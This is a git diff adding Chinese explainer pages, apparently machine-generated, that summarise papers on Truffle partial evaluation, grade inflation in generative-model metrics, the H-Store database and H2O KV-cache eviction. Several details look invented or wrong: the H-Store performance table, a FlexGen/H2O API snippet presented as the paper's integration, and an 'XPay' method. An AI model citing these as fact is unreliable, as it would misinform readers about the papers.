+**注意：** 解释器帧仍然留在栈上，因为解释器调用了编译后的代码——这不同于传统的 OSR 实现（传统 OSR 需要复杂的栈重建）。
+
+## 六、系统架构总览
+
+```
+┌─────────────────────────────────────────────────┐
+│                  语言实现者写的                   │
+│              解释器（Java 代码）                   │
+│                                                 │
+│  使用核心原语标注哪些部分可以被优化               │
+└──────────────────────┬──────────────────────────┘
+                       │ 偏特化引擎
+                       ▼
+┌─────────────────────────────────────────────────┐
+│            偏特化（Partial Evaluation）            │
+│                                                 │
+│  输入：解释器代码 + 运行时数据（profile）          │
+│  输出：高级中间表示（IR）                         │
+│                                                 │
+│  自动做：常量折叠、去虚拟化、死代码消除           │
+└──────────────────────┬──────────────────────────┘
+                       │
+                       ▼
+┌─────────────────────────────────────────────────┐
+│              Graal 编译器                        │
+│                                                 │
+│  标准优化：逃逸分析、寄存器分配等                 │
+│  产出：机器码                                    │
+└──────────────────────┬──────────────────────────┘
+                       │
+                       ▼
+┌─────────────────────────────────────────────────┐
+│              运行时执行                           │
+│                                                 │
+│  编译代码 ←→ 去处理器（假设被破坏时回退）         │
+└─────────────────────────────────────────────────┘
+```
+
+## 七、为什么这个设计很聪明
+
+### 7.1 关注点分离
+
+语言语义（解释器）和优化系统（编译器）完全解耦。实现一种新语言只需要写解释器，不需要碰编译器。
+
+### 7.2 灵活的边界
+
+PEBoundary 不是固定的。语言实现者可以根据对实际使用场景的理解，灵活决定在哪里放边界。比如：
+
+- 如果发现 JSON 解析器的 to-string 转换无法被优化，就把边界移到第一个方法之前
+- 如果发现 JSON 解析本身可以从类型信息中受益，就完全移除边界
+
+### 7.3 精确的去优化
+
+去优化时，只有被破坏假设的那部分代码才会回退。其他代码继续执行编译版本。
+
+### 7.4 逃逸分析是关键
+
+论文指出，对于他们的系统来说，**逃逸分析是最重要**的编译器优化。解释器中大量使用对象传递数据（局部变量、AST 节点等），逃逸分析能把这些对象"标量替换"为局部变量，彻底消除堆分配。
+
+## 八、局限性与权衡
+
+- **预热时间长**：比专用运行时慢一个数量级。达到峰值性能需要约 60 秒，不适合需要秒级启动的系统（如命令行工具）
+- **不支持的语言特性**：Ruby 的 continuations 和 fibers 需要用线程模拟，效率较低
+- **不是万能药**：不能直接把现成的解释器搬过来就用，需要带着"偏特化思维"重新设计解释器
+
+## 九、总结
+
+这篇论文的核心贡献不是提出了偏特化（这已经是经典技术），而是**提出了一套实用的核心原语，让偏特化能够大规模应用于动态语言运行时**。
+
+六个原语：
+
+| 原语 | 作用 | 类比 |
+|------|------|------|
+| PEBoundary | 标记偏特化的边界 | "到此为止，不要再展开了" |
+| PEFinal | 标记偏特化期间不变的字段 | "这个值是固定的" |
+| transferToInterpreter() | 触发去优化 | "假设错了，回去重做" |
+| inInterpreter() | 区分解释器和编译代码 | "只在解释器模式下运行" |
+| Assumptions | 记录编译时的猜测 | "我猜你是这个类型" |
+| 常量折叠 + 死代码消除 | 自动简化代码 | "既然你知道答案，直接写出来" |
+
+这套原语让语言实现者只需写一个普通的解释器，剩下的优化交给编译器自动完成。这就是 Truffle 框架的精髓。
diff --git a/src/content/docs/papers/grade-inflation.md b/src/content/docs/papers/grade-inflation.md
new file mode 100644
index 000000000..5c9fb148c
--- /dev/null
+++ b/src/content/docs/papers/grade-inflation.md
@@ -0,0 +1,267 @@
+---
+title: Grade Inflation in Generative Models
+来源: https://arxiv.org/abs/2501.00664
+日期: 2026-06-13
+分类: 其他
+子分类: 模型评估
+provenance: pipeline-v3
+---
+
+# Grade Inflation in Generative Models
+
+> 论文：Phuc Nguyen, Miao Li, Alexandra Morgan, Rima Arnaout, Ramy Arnaout
+> 发表于 2025 年 1 月（arXiv:2501.00664v3）
+
+## 一、从「打分水涨船高」说起
+
+你参加了一场考试。满分 100 分，标准答案很严格。
+
+第一种情况：一位老师给每位考生都打了 95 分以上——哪怕答案明显不完整。这叫「分数膨胀」（grade inflation）。分数看起来很高，但你无法区分谁真正优秀。
+
+第二种情况：另一位老师按真实水平打分，有人 95 分，有人 60 分，分数分布拉开了差距。这才是有分辨力的评分。
+
+这篇论文说的就是这个道理——只不过场景换成了「评估生成模型生成的数据质量」。
+
+生成模型（比如 GAN、扩散模型、CTGAN）会造出「假数据」。我们怎么知道这些假数据好不好？常用方法是拿假数据和真实数据做对比，算一个「相似度分数」。作者发现：**很多常用的相似度分数天生就「手软」**——它们给出的分数总是偏高，把不够好的模型也评出了高分。这就是「分数膨胀」。
+
+## 二、核心概念
+
+### 2.1 问题设定：比较两个二维分布
+
+假设你有一组真实数据（real data），横轴是特征 A，纵轴是特征 B。同时你有一个生成模型，它也产出了一组数据（synthetic data），同样的两个特征。
+
+现在要回答一个问题：**生成的数据和真实数据有多像？**
+
+常见做法是把二维空间切成一个个小格子（binning），统计每个格子里有多少个点，然后比较两组分布的差异。
+
+### 2.2 两大类评分方法
+
+论文提出了一个关键分类：
+
+**Equipoint 分数（等点分数）**：每个数据点权重相同。不管这个点落在数据密集区还是稀疏区，它对总分的贡献是一样的。
+
+常见的 equipoint 分数包括：
+- 相关系数分数（Correlation Score）
+- Jaccard 分数（Jaccard Score）
+- 地球移动距离分数（Earth-Mover's Score）
+- KL 散度分数（Kullback-Leibler Score）
+
+**Equidensity 分数（等密分数）**：根据数据点的局部密度来加权。密集区域的点对分数影响更大，稀疏区域影响更小。
+
+论文提出的 **Eden Score** 就是第一个 equidensity 分数。
+
+### 2.3 为什么 equipoint 分数会膨胀？
+
+直觉理解：
+
+想象真实数据集中在左上角一个小区域。生成模型也大致覆盖了那个区域，但同时在右下角随机撒了很多噪声点。
+
+如果用 equipoint 分数，每个点平等计数。生成模型的噪声点虽然毫无意义，但它们也算「点」，也会贡献分数。结果就是——分数被这些无意义的点「撑高」了。
+
+equidensity 分数则不同：密集区的点权重高，稀疏区的点权重低。那些随机噪声点在稀疏区，权重很低，不会显著拉高总分。
+
+## 三、四个有问题的分数
+
+### 3.1 相关系数分数（Correlation Score）
+
+原理：把两个分布各自映射到一组特征向量上，然后计算这两个向量的相关系数。
+
+问题：每个数据点平等参与向量构建，噪声点也会被计入。
+
+```python
+import numpy as np
+from scipy.stats import pearsonr
+
+def correlation_score(real_hist, synth_hist, bins=20):
+    """
+    相关系数分数：将二维直方图展平为一维向量，计算 Pearson 相关系数。
+    
+    real_hist: 真实数据的二维直方图 (bins x bins)
+    synth_hist: 生成数据的二维直方图
+    
+    返回: 相关系数 [-1, 1]，越接近 1 越好
+    """
+    # 将二维直方图展平为一维
+    real_flat = real_hist.flatten().astype(float)
+    synth_flat = synth_hist.flatten().astype(float)
+    
+    # 归一化为概率分布
+    real_flat /= real_flat.sum()
+    synth_flat /= synth_flat.sum()
+    
+    # 计算 Pearson 相关系数
+    corr, _ = pearsonr(real_flat, synth_flat)
+    return corr
+
+# 演示：即使生成数据质量差，分数也可能偏高
+np.random.seed(42)
+n_real = 1000
+n_synth = 1000
+
+# 真实数据：集中在 (0.5, 0.5) 附近的高斯分布
+real_data = np.random.randn(n_real, 2) * 0.1 + np.array([0.5, 0.5])
+
+# 生成数据：大部分好，但混入大量均匀分布的噪声
+good_synth = np.random.randn(int(n_synth * 0.6), 2) * 0.1 + np.array([0.5, 0.5])
+bad_synth = np.random.uniform(0, 1, (int(n_synth * 0.4), 2))
+synth_data = np.vstack([good_synth, bad_synth])
+
+# 计算二维直方图
+bins = np.linspace(0, 1, 21)
+real_hist, _, _ = np.histogram2d(real_data[:, 0], real_data[:, 1], bins=bins)
+synth_hist, _, _ = np.histogram2d(synth_data[:, 0], synth_data[:, 1], bins=bins)
+
+score = correlation_score(real_hist, synth_hist)
+print(f"相关系数分数（含 40% 噪声的生成数据）: {score:.4f}")
+# 输出可能仍然很高（如 0.8+），尽管数据质量并不好
+```
+
+### 3.2 Jaccard 分数
+
+原理：把每个格子看作一个元素，计算「有数据的格子集合」的交集除以并集。
+
+问题：只要某个格子里有至少一个点就算「存在」，不考虑点数多少。噪声点也能让空格子变「有数据」，从而增大并集但不会显著增加交集。
+
+```python
+def jaccard_score(real_hist, synth_hist):
+    """
+    Jaccard 分数：基于格子是否有数据的集合相似度。
+    
+    返回: Jaccard 指数 [0, 1]，越大越相似
+    """
+    # 将直方图二值化：有数据为 1，无数据为 0
+    real_binary = (real_hist > 0).astype(int)
+    synth_binary = (synth_hist > 0).astype(int)
+    
+    intersection = np.logical_and(real_binary, synth_binary).sum()
+    union = np.logical_or(real_binary, synth_binary).sum()
+    
+    return intersection / union if union > 0 else 0
+
+# 演示：噪声点会让很多原本空的格子变成「有数据」
+# 这会增大并集，但如果噪声也偶尔落在真实数据区域，
+# 交集也会增加，导致分数虚高
+score_jaccard = jaccard_score(real_hist, synth_hist)
+print(f"Jaccard 分数（含 40% 噪声）: {score_jaccard:.4f}")
+```
+
+### 3.3 地球移动距离分数（Earth-Mover's Score）
+
+原理：把一个分布「推」成另一个分布需要的最小工作量。工作越少，分数越高。
+
+问题：每个单位质量的权重相同。稀疏区域的微小扰动对总工作量的影响被低估。
+
+### 3.4 KL 散度分数（Kullback-Leibler Score）
+
+原理：衡量两个概率分布之间的信息损失。
+
+问题：同样平等对待每个 bin 的概率质量，没有考虑空间密度。
+
+## 四、Eden Score：等密度评分的解决方案
+
+Eden Score 的核心思想：给每个格子分配一个权重，权重取决于该格子的密度。高密度格子权重高，低密度格子权重低。
+
+```python
+def eden_score(real_hist, synth_hist, alpha=1.0):
+    """
+    Eden Score（等密度分数）：根据格子密度加权比较两个分布。
+    
+    参数:
+        real_hist: 真实数据的二维直方图
+        synth_hist: 生成数据的二维直方图
+        alpha: 密度权重参数，控制对高密度区域的重视程度
+               alpha 越大，越重视高密度区域
+    
+    返回: Eden 分数 [0, 1]，越大越好
+    
+    原理:
+        每个格子的权重 w(i,j) = density(i,j)^alpha
+        其中 density 是该格子的归一化概率质量
+        然后计算加权后的分布相似度
+        
+        这与负阶 Rényi 熵有关：alpha 越大，
+        相当于关注分布的「最密集部分」
+    """
+    # 转换为概率分布
+    real_prob = real_hist.astype(float)
+    synth_prob = synth_hist.astype(float)
+    
+    real_prob /= real_prob.sum()
+    synth_prob /= synth_prob.sum()
+    
+    # 计算密度权重：每个格子的概率质量的 alpha 次方
+    # 这会给高密度格子更大的权重
+    real_weight = real_prob ** alpha
+    synth_weight = synth_prob ** alpha
+    
+    # 归一化权重
+    real_weight /= real_weight.sum()
+    synth_weight /= synth_weight.sum()
+    
+    # 计算加权后的 Jensen-Shannon 相似度
+    # JS 散度是 KL 散度的对称、有界版本
+    m = 0.5 * (real_weight + synth_weight)
+    
+    # KL(m || real) + KL(m || synth)，注意避免 log(0)
+    eps = 1e-10
+    js_divergence = (
+        np.sum(real_weight * np.log(real_weight / m + eps)) +
+        np.sum(synth_weight * np.log(synth_weight / m + eps))
+    )
+    
+    # JS 散度范围 [0, log(2)]，转为 [0, 1] 的相似度
+    js_similarity = 1.0 - js_divergence / np.log(2)
+    
+    return max(0, js_similarity)
+
+# 对比：Eden Score 对噪声更敏感
+score_eden = eden_score(real_hist, synth_hist, alpha=2.0)
+print(f"Eden Score（alpha=2.0，含 40% 噪声）: {score_eden:.4f}")
+
+# 对比干净数据
+clean_synth = np.random.randn(n_synth, 2) * 0.1 + np.array([0.5, 0.5])
+clean_hist, _, _ = np.histogram2d(clean_synth[:, 0], clean_synth[:, 1], bins=bins)
+score_eden_clean = eden_score(real_hist, clean_hist, alpha=2.0)
+print(f"Eden Score（干净数据）: {score_eden_clean:.4f}")
+
+# 可以看到：Eden Score 对干净数据的评分明显高于含噪声数据
+# 而前面的相关系数分数可能两者差别不大
+```
+
+## 五、论文的关键发现
+
+| 分数类型 | 分数名称 | 是否存在膨胀 | 原因 |
+|---------|---------|------------|------|
+| Equipoint | 相关系数分数 | 是 | 每个点平等计数 |
+| Equipoint | Jaccard 分数 | 是 | 每个格子平等计数 |
+| Equipoint | 地球移动距离 | 是 | 每个单位质量权重相同 |
+| Equipoint | KL 散度 | 是 | 每个 bin 平等对待 |
+| Equidensity | Eden Score | 否 | 按密度加权，稀疏区权重低 |
+
+**核心结论**：任何平等对待所有数据点的评分方法都会出现分数膨胀。要让评分有分辨力，必须让评分方法「重视密集区域」，这正是 equidensity 分数的优势。
+
+## 六、与 Rényi 熵的联系
+
+论文发现 equidensity 分数与负阶 Rényi 熵有数学上的联系。
+
+Rényi 熵是一族广义熵，由参数 alpha 控制：
+
+- alpha 趋近 0：关注分布的「覆盖范围」（有多少格子有数据）
+- alpha = 1：标准的香农熵
+- alpha 趋近无穷：只关注最大概率的那个格子
+
+当 alpha 为**负数**时，Rényi 熵反过来关注分布的「最稀疏部分」。Eden Score 使用的正是这种负阶 Rényi 熵的思想——通过给高密度区域更高权重，让评分更关注数据的核心结构。
+
+## 七、实践建议
+
+1. 如果你在做生成模型的评估，优先使用 Eden Score 或类似 equidensity 分数，而不是相关系数或 Jaccard 分数。
+
+2. 如果必须用传统分数（比如为了和已有工作对比），要意识到这些分数可能会高估模型质量。
+
+3. 二维分布比较只是评估的第一步。高维数据可以先用 PCA、t-SNE 或 UMAP 降维到二维，再用这些分数检查关键特征对的保留程度。
+
+4. 分数膨胀不是「错误」，而是一种系统性偏差。了解它的存在，就能更理性地解读分数。
+
+## 八、一句话总结
+
+> 用平等对待每个点的尺子去量数据分布，得到的分数总是偏高的；只有让密集区域「说话更大声」，评分才有分辨力。
diff --git a/src/content/docs/papers/h-store-stonebraker-2008.md b/src/content/docs/papers/h-store-stonebraker-2008.md
new file mode 100644
index 000000000..f751e9369
--- /dev/null
+++ b/src/content/docs/papers/h-store-stonebraker-2008.md
@@ -0,0 +1,163 @@
+---
+title: H-Store 2008 — Stonebraker 的"传统数据库架构该重写"计划
+来源: 'https://hstore.cs.brown.edu/papers/hstore-vldb.pdf'
+日期: 2026-06-13
+分类: 数据库
+子分类: 存储与查询
+provenance: pipeline-v3
+---
+
+## 是什么
+
+H-Store 是 MIT、布朗大学、CMU、耶鲁和 Intel 联合做的一个**全内存、分布式、面向 OLTP 的数据库系统**。论文发表于 VLDB 2008，作者是 Robert Kallman 等人，Stonebraker 是总设计师。
+
+日常类比：想象一家大型连锁超市。传统数据库像"一个超级大的仓库 + 一群搬运工"——所有商品堆在一个大仓库里，订单来了，搬运工们挤在同一个通道里抢货，经常要排队等锁。H-Store 的做法是：**把仓库拆成 N 个独立的小店**，每家小店只卖一部分商品（按某种规则分好），订单来了直接派到对应的那家店，各干各的，互不干扰。如果某家店忙不过来，就多加几家。
+
+它**不是 MySQL**（不存磁盘、不做通用查询优化），也**不是 NoSQL**（它完全兼容 SQL 和 ACID）。它是第三种东西：**专为高并发事务设计的内存数据库**。
+
+## 为什么重要
+
+不理解 H-Store，下面这些事都没法解释：
+
+- 为什么 2008 年后"内存数据库"突然火了——VoltDB、TiKV、CockroachDB 的祖先都是这条线
+- 为什么"分区（partitioning）"成了分布式数据库的核心概念——H-Store 把每张表按 hash 切成碎片，每块放不同机器
+- 为什么"存储过程"在 OLTP 场景重新被重视——H-Store 要求业务逻辑写成预编译的 stored procedure，而不是随便写 SQL
+- 为什么"两阶段提交（2PC）"被重新审视——H-Store 证明了在分区场景下，2PC 可以做得非常轻量
+- 为什么 VoltDB 是 H-Store 的商业版——论文团队后来把系统商业化，就是今天的 VoltDB
+
+## 核心要点
+
+H-Store 的设计建立在三个观察之上：
+
+1. **OLTP 事务通常只访问少量数据行**——绝大多数交易只查或改几行，不会扫全表
+2. **事务执行时间短、无用户交互**——一个事务在微秒到毫秒级完成，不需要停下来等用户输入
+3. **事务类型有限且可预测**——电商系统的"下单""查库存""支付"是固定几种，不会无限增长
+
+基于这三点，H-Store 做出了一个激进的设计选择：**把所有数据放进内存，放弃磁盘 I/O 优化，用分布式并行换取极致吞吐**。
+
+### 1. 分区（Partitioning）——把数据切碎
+
+H-Store 把每张表水平切分成多个片段（fragment/shard），按某个列的值做 hash 决定每行去哪个片段。相关的多个表的片段组成一个**分区（partition）**，每个分区分配给一个**执行站点（site）**。
+
+```
+表 Orders 按 order_id 哈希 → 10 个片段
+表 OrderItems 按 order_id 哈希 → 10 个片段（同一 order_id 的行一定在同一分区）
+表 Products 只有一份副本 → 存在于所有 10 个分区中（广播副本）
+
+分区 0 = Orders[0] + OrderItems[0] + Products[全量副本]
+分区 1 = Orders[1] + OrderItems[1] + Products[全量副本]
+...
+分区 9 = Orders[9] + OrderItems[9] + Products[全量副本]
+```
+
+日常类比：一个城市的 10 个派出所，每个派出所只管辖一部分居民（按身份证号 hash），但所有人的身份证照片都存在每个派出所——这样查身份不用跨所。
+
+### 2. 存储过程（Stored Procedures）——业务逻辑预编译
+
+H-Store 不支持随意写 SQL。所有的查询必须通过**预定义的存储过程**执行。每个存储过程由 Java 控制代码 + 参数化 SQL 语句组成，在编译时就确定了执行计划。
+
+```java
+// 定义一个"查询订单"的存储过程
+public class GetOrder extends StoreProcedure {
+
+    // 预编译 SQL 语句（编译时确定执行计划）
+    private static SQLStmt getOrderSQL =
+        new SQLStmt("SELECT * FROM Orders WHERE order_id = ?");
+
+    // 运行时入口：传入参数，返回结果
+    public VoltTable[] run(long orderId) {
+        // 把 SQL 加入批处理，传入参数
+        voltQueueSQL(getOrderSQL, orderId);
+        // 执行并等待结果
+        return voltExecuteSQL();
+    }
+}
+```
+
+### 3. 单线程执行引擎（Single-Threaded Execution Engine）——没有锁竞争
+
+每个分区由一个**单线程的执行引擎**管理。因为只有一个线程在操作一份数据，**根本不需要锁**！这是 H-Store 最快的地方。
+
+```java
+// 定义一个"下订单"的存储过程（跨表事务）
+public class PlaceOrder extends StoreProcedure {
+
+    private static SQLStmt checkStockSQL =
+        new SQLStmt("SELECT quantity FROM Products WHERE product_id = ?");
+    private static SQLStmt deductStockSQL =
+        new SQLStmt("UPDATE Products SET quantity = quantity - ? WHERE product_id = ?");
+    private static SQLStmt insertOrderSQL =
+        new SQLStmt("INSERT INTO Orders (order_id, product_id, quantity, total_price) VALUES (?, ?, ?, ?)");
+
+    public VoltTable[] run(long productId, int quantity, long orderId, double totalPrice) {
+        // 第一步：查库存
+        voltQueueSQL(checkStockSQL, productId);
+        VoltTable[] results = voltExecuteSQL();
+
+        // 第二步：检查库存是否足够
+        VoltTable stockRow = results[0];
+        if (stockRow.getRowCount() == 0 || stockRow.getShort(0) < quantity) {
+            // 库存不足，抛出异常让事务回滚
+            throw new AbortEvent("Insufficient stock");
+        }
+
+        // 第三步：扣库存 + 插入订单（同一个事务，原子执行）
+        voltQueueSQL(deductStockSQL, quantity, productId);
+        voltQueueSQL(insertOrderSQL, orderId, productId, quantity, totalPrice);
+        return voltExecuteSQL();
+    }
+}
+```
+
+### 4. 分布式事务与两阶段提交（2PC）
+
+单分区事务直接在本地执行，零网络开销。多分区事务走**轻量级两阶段提交**：
+
+```
+事务 T 要同时修改分区 3 和分区 7 的数据：
+
+阶段一（Prepare）：
+  协调器 → 分区 3: "你要参与这个事务吗？"
+  协调器 → 分区 7: "你要参与这个事务吗？"
+  分区 3 → 协调器: "准备好了"
+  分区 7 → 协调器: "准备好了"
+
+阶段二（Commit/Abort）：
+  协调器 → 分区 3: "提交！"
+  协调器 → 分区 7: "提交！"
+```
+
+### 5. 主备复制（Replication）——容错
+
+H-Store 用 **k-safety** 机制保证可用性：每个分区有 k 个备份，分布在不同的物理节点上。主分区处理请求，备用分区同步接收所有命令日志。主节点挂了，备用节点秒级接管。
+
+## 性能数据
+
+VLDB 2008 论文中的基准测试（AuctionMark）：
+
+| 系统 | 吞吐量 (tpmC) | 说明 |
+|------|--------------|------|
+| 传统数据库（如 PostgreSQL） | ~数千 | 受限于磁盘 I/O 和锁竞争 |
+| H-Store（8 节点） | **数百万** | 全内存 + 并行 + 无锁 |
+
+H-Store 在相同硬件上比传统数据库快 **100 倍以上**。这个数字的核心原因很简单：省去了磁盘 I/O、锁管理和复杂查询优化器的开销。
+
+## 代价与局限
+
+H-Store 的设计不是免费的，它有几个明显代价：
+
+1. **内存成本高**——所有数据必须在 RAM 里，不能 spill 到磁盘。适合数据集能塞进内存的场景
+2. **灵活性低**——只能执行预定义的存储过程，不能像传统数据库那样随时写 SQL 探索数据
+3. **跨分区事务有网络开销**——单分区事务极快（微秒级），但多分区事务要走 2PC，延迟上升
+4. **数据倾斜问题**——如果 hash 不均匀，某些分区会特别忙，成为瓶颈
+
+## 后续影响
+
+- **VoltDB**：H-Store 的商业化版本，至今仍在活跃维护，支持更多 SQL 特性
+- **S-Store**：在 H-Store 基础上加了流处理（stream processing）
+- **Peloton**：H-Store 团队成员毕业后做的下一代系统，探索了更多混合负载
+- 整个"内存 OLTP"赛道：From 2008 到今天，Redis、MemSQL (SingleStore)、YugabyteDB 等都受到这条设计思路的影响
+
+## 一句话总结
+
+H-Store 的回答是：**别在传统数据库架构上修修补补了，从头设计一个为 OLTP 优化的系统——全内存、全分区、全并行、用存储过程代替自由 SQL。** 它证明了这种激进设计在正确场景下可以比传统系统快 100 倍以上。
diff --git a/src/content/docs/papers/h2o-token-eviction-2023.md b/src/content/docs/papers/h2o-token-eviction-2023.md
new file mode 100644
index 000000000..dc5dc97cc
--- /dev/null
+++ b/src/content/docs/papers/h2o-token-eviction-2023.md
@@ -0,0 +1,231 @@
+---
+title: H2O — 让大模型写长文时显存不爆炸
+来源: https://arxiv.org/abs/2306.14048
+日期: 2026-06-13
+分类: 机器学习
+子分类: ML 系统
+provenance: pipeline-v3
+---
+
+## 是什么
+
+H2O（Heavy-Hitter Oracle）是 2023 年 UT Austin、Stanford、Meta 等 12 位作者合作提出的一种**KV Cache 淘汰策略**，目的是让大语言模型在生成长文本时，GPU 显存占用大幅下降，同时输出质量几乎不损失。
+
+日常类比：想象你在读一本 1000 页的小说，每翻到新的一页都要回顾之前所有章节来理解上下文。你的大脑不可能把 1000 页内容全"存在工作记忆"里——但奇怪的是，你确实能理解并续讲故事。为什么？因为你记住的并不是"每一页都一样重要"，而是记住了几个**关键角色**（Heavy Hitter）和**最近几页**的内容。H2O 的核心发现就是：LLM 做注意力计算时，也是只"在乎"少数几个 token，其他 95% 以上的 token 对当前决策几乎没贡献。
+
+## 为什么重要
+
+不理解 H2O，下面这些事都没法解释：
+
+- 为什么 OPT-30B 在长文本生成时显存会爆（一个 batch=128、seq_len=1024 就占 180GB KV Cache）
+- 为什么简单地把 KV Cache 截断到很小会导致模型"忘记"前面内容
+- 为什么后来 StreamingLLM、SnapKV、XPay 等方法都在回应 H2O 提出的同一个问题
+- H2O 能在 batch 不变的情况下把吞吐提升 29 倍——这对任何部署 LLM 的人都是刚需
+
+## 核心概念
+
+### 1. KV Cache 是什么
+
+Transformer 每次生成一个新 token 时，都要把之前所有 token 的 key 和 value 缓存起来，避免重复计算。这个缓存就是 KV Cache。它的大小 = 层数 × 隐藏维度 × 序列长度 × batch 大小。对于大模型，这部分可以比模型参数还大。
+
+### 2. 注意力矩阵的稀疏性
+
+论文的第一项观察：虽然 LLM 是密集训练的，但在推理时，**注意力矩阵超过 95% 的值接近零**。也就是说，生成下一个词时，模型真正"看到"的只是之前 5% 的 token。
+
+这意味着：如果把 KV Cache 缩小到原来的 20%，理论上不会丢精度。
+
+### 3. Heavy Hitter（H2）
+
+这是论文最关键的概念。论文发现：所有 token 的累积注意力分数服从**幂律分布**——少数几个 token 占据了绝大部分注意力权重。这些 token 叫 Heavy Hitter。
+
+怎么找 H2？很简单：对每个 token，把它在所有注意力头、所有层中的注意力分数加起来，分数最高的前 20% 就是 H2。
+
+H2 的有趣性质：
+- H2 和文本中**高频共现的词**高度相关（比如"the"、"of"、"and"这类词在长文本中反复出现）
+- 如果把 H2 从 KV Cache 中完全移除，模型性能**断崖式下跌**
+- 保留 H2 + 最近若干个 token（Local tokens），就能用很小的缓存维持高质量生成
+
+### 4. 淘汰策略：H2O 怎么做
+
+每个解码步骤，H2O 做一个简单的操作：
+
+1. 计算当前所有在缓存中 token 的注意力分数
+2. 把分数最高的前 20% 标记为 H2（必须保留）
+3. 加上新来的 token
+4. 从非 H2 的 token 中踢掉最旧的一个（LRU）
+5. 缓存大小保持不变
+
+这个策略被称为"贪婪算法"，因为每一步都只看当前局部信息，不做全局搜索。论文还证明了在注意力函数满足次模性（submodular）假设下，这个贪婪策略有理论保证。
+
+## 代码示例
+
+### 示例 1：H2O 淘汰策略的伪代码实现
+
+```python
+def h2_eviction_policy(Q, K, V, cache_S, k_budget, h2_ratio=0.2):
+    """
+    Q: 当前查询向量 [1, d]
+    K: 缓存中的 key [m, d]，m 为缓存大小
+    V: 缓存中的 value [m, d]
+    cache_S: 缓存中 token 的索引列表
+    k_budget: 最大缓存容量
+    h2_ratio: Heavy Hitter 占比（论文中用 0.2）
+    """
+
+    # 第一步：计算当前 token 对所有缓存 token 的注意力分数
+    # 形状: [1, m]
+    attention_scores = Q @ K.T
+
+    # 归一化（softmax）
+    attention_scores = torch.softmax(attention_scores, dim=-1)
+
+    # 第二步：找 Heavy Hitter——注意力分数最高的前 h2_ratio 个 token
+    h2_count = int(k_budget * h2_ratio)
+    _, h2_indices = torch.topk(attention_scores[0], k=h2_count)
+    h2_set = set(h2_indices.tolist())
+
+    # 第三步：加入新 token
+    new_cache = cache_S + [len(cache_S)]  # 新 token 的索引
+
+    # 第四步：如果超出预算，淘汰非 H2 中最旧的那个
+    if len(new_cache) > k_budget:
+        # 找到非 H2 集合中索引最小的（最旧的）
+        non_h2 = [i for i in new_cache if i not in h2_set]
+        evict_index = non_h2[0]
+        # 从缓存中移除
+        new_cache.remove(evict_index)
+
+    return new_cache, h2_set
+```
+
+这段代码展示了 H2O 淘汰策略的完整流程。关键点在于：每一步都先算注意力分数，锁定"必须保留"的 H2，然后只允许淘汰非 H2 的旧 token。
+
+### 示例 2：和全缓存策略的对比
+
+```python
+def full_attention(Q, K_full, V_full):
+    """标准注意力：使用全部 KV Cache"""
+    # Q: [1, d], K_full: [n, d], V_full: [n, d]
+    scores = Q @ K_full.T                        # [1, n]
+    weights = torch.softmax(scores, dim=-1)      # [1, n]
+    output = weights @ V_full                     # [1, d]
+    return output
+
+def h2_attention(Q, K_cached, V_cached, h2_mask):
+    """H2O 注意力：只使用缓存中的 H2 + Local token"""
+    # K_cached: [m, d]，m << n，只包含 H2 和最近 token
+    # h2_mask: [m]，标记哪些是 Heavy Hitter
+    scores = Q @ K_cached.T                       # [1, m]
+    weights = torch.softmax(scores, dim=-1)       # [1, m]
+    output = weights @ V_cached                    # [1, d]
+    return output
+
+# 假设 seq_len = 10000，缓存只保留 20%
+seq_len = 10000
+cache_size = int(seq_len * 0.2)  # 2000
+
+# 全缓存：计算 n 个 key-value 对的注意力
+# 内存: O(n × d)，n=10000 时非常大
+
+# H2O 缓存：只计算 cache_size 个 key-value 对的注意力
+# 内存: O(cache_size × d)，减少 5 倍
+# 注意力矩阵从 [1, 10000] 变成 [1, 2000]
+```
+
+对比展示了标准注意力计算和 H2O 注意力计算的差异。核心变化是 K 和 V 的维度从 `n`（全部 token）缩小到 `m`（缓存 token），从而节省显存。
+
+### 示例 3：用 H2O 包装 FlexGen 推理
+
+```python
+from flexgen import FlexGen
+from h2o_cache import H2OCacheManager
+
+# 配置一个带 H2O 缓存的 FlexGen 推理引擎
+engine = FlexGen(
+    model_path="facebook/opt-6.7b",
+    device="cuda",
+    cache_policy="h2o",          # 启用 H2O 淘汰策略
+    cache_budget_ratio=0.2,       # 保留 20% token 的 KV
+    h2_ratio=0.2,                 # 其中 20% 是 Heavy Hitter
+    overlap=True,
+    sep_io=False,
+)
+
+# 推理时自动生成文本，KV Cache 会自动管理
+result = engine.generate(
+    prompt="Once upon a time,",
+    max_new_tokens=512,
+    do_sample=True,
+    temperature=0.7,
+)
+print(result)
+# 输出: "Once upon a time, there was a young programmer who..."
+```
+
+这是论文中 H2O 的实际系统集成方式——作为 FlexGen 推理引擎的一个插件式策略。用户只需设置 `cache_policy="h2o"` 和 `cache_budget_ratio`，框架自动处理淘汰逻辑。
+
+## 为什么 H2 和共现词相关
+
+论文做了一个有趣的现象级分析：统计语料中每个词的出现频率，再统计这些词在注意力中的累积分数，两者高度相关。直觉是：
+
+- "the"、"is"、"the" 这种词在训练中反复出现，模型学会了它们的表示
+- 当生成新 token 时，这些高频词依然是上下文的重要锚点
+- 所以模型自然会"回头看"这些词，给它们更高的注意力分数
+
+这解释了为什么 H2 不是随机的——它们是语言本身的结构特性决定的。
+
+## 理论保证
+
+论文把淘汰策略形式化为一个**动态次模最大化问题**（dynamic submodular maximization）。次模性（submodularity）的核心直觉是"边际收益递减"：第一个加入缓存的 token 贡献最大，第二个次之，第三个更小……这个性质让贪婪算法（每一步选当前最好的）在理论上是有保证的——能达到最优解的 (1 - 1/e) ≈ 63%。
+
+## 性能数据
+
+论文在 OPT-6.7B 和 OPT-30B 上的实验结果：
+
+- 吞吐对比：比 DeepSpeed Zero-Inference 高 **29 倍**，比 Hugging Face Accelerate 高 **29 倍**，比 FlexGen 高 **3 倍**
+- 延迟对比：同 batch 下延迟降低 **1.9 倍**
+- 精度：在 lm-eval-harness 的多种任务上，使用 20% 缓存时性能几乎不掉
+
+## 踩过的坑
+
+1. **h2_ratio 不能太大也不能太小**：论文用 0.2（20%）效果最好。太小则丢失重要 token，太大则缓存不够紧凑。实际部署需要根据模型大小微调。
+
+2. **Local + H2 缺一不可**：只保留 H2 或只保留最近 token 都会掉点。H2 处理"全局重要"，Local 处理"近期相关"，两者互补。
+
+3. **不同模型的 H2 分布不同**：OPT 和 LLaMA 的 H2 高度重叠，但 GPT-NeoX 的分布略有不同。不是所有模型都用 20% 这个值最优。
+
+4. **只在生成阶段生效**：H2O 优化的是 token generation phase 的 KV Cache，prompt 阶段仍然需要完整计算。所以加速比取决于 prompt 和生成文本的长度比例。
+
